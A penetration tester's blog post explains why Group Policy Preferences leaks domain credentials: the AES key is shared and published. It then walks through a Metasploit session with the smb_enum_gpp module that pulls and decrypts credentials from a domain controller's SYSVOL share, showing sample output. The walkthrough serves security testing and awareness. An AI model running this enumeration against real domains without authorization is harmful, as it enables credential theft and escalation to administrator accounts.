How to enumerate GPP credentials as a domain user with access to the SMB share on the DC.
Over the past few months I’ve had a chance to clean up some code that we’ve used internally for penetration testing for some time now. This code was built to demonstrate the weaknesses of using Group Policy Preferences (GPP) to store and distribute local or domain credentials.
Group Policy Preferences is a method that system administrators can use to create new accounts and/or update account credentials for domain-joined systems. The problem with this method is two-fold. First, Microsoft decided to encrypt the credentials (for Group Policy Preferences) using a single/non-unique secret key. In other words, this key is the same for all Windows 2008 Domain Controllers (DC). Second, they decided to publish the secret key on MSDN. This allows anyone with knowledge of the secret key to decrypt stored credentials that are identified.
Microsoft has since published a blog post alerting administrators to the risks of using GPP to manage credentials. Only normal user domain credentials are required to access the SMB SYSVOL share (where the GPP files live on the DC). Leveraging this access, we can read GPP XML files and decrypt stored credentials using the known private key.
We have found that many organizations store local admin, domain service, and even Domain Admin account credentials using GPP. The module that I submitted to the Metasploit Github repo provides the ability to enumerate GPP credentials as a domain user with access to the SMB share on the DC. Extracted credentials will be stored in the Metasploit creds tables.
msf > use auxiliary/scanner/smb/smb_enum_gpp msf auxiliary(smb_enum_gpp) > set SMBUSER jsmithSMBUSER => jsmithmsf auxiliary(smb_enum_gpp) > set SMBPASS Password1!SMBPASS => Password1!msf auxiliary(smb_enum_gpp) > set SMBDOMAIN ACMESMBDOMAIN => ACMEmsf auxiliary(smb_enum_gpp) > set RHOSTS 10.10.10.10RHOSTS => 10.10.10.10msf auxiliary(smb_enum_gpp) > show optionsModule options (auxiliary/scanner/smb/smb_enum_gpp): Name Current Setting Required Description–––––––– –––––––––––––––––––––––––––––– –––––––––––––––– –––––––––––––––––––––– RHOSTS 10.10.10.10 yes The target address range or CIDR identifier RPORT 445 yes The Target port SMBDomain ACME no The Windows domain to use for authentication SMBPass Password1! no The password for the specified username SMBSHARE SYSVOL yes The name of the share on the server SMBUser jsmith no The username to authenticate as STORE true no Store the enumerated files in loot. THREADS 1 yes The number of concurrent threadsmsf auxiliary(smb_enum_gpp) > run…[…snip..]…NAME VALUE———–– ——————––TYPE Groups.xmlUSERNAME AdminPASSWORD REDACTED!DOMAIN CONTROLLER 10.10.10.10DOMAIN acme.comCHANGED 2010-01-01 12:00:00NEVER_EXPIRES? 1DISABLED 0
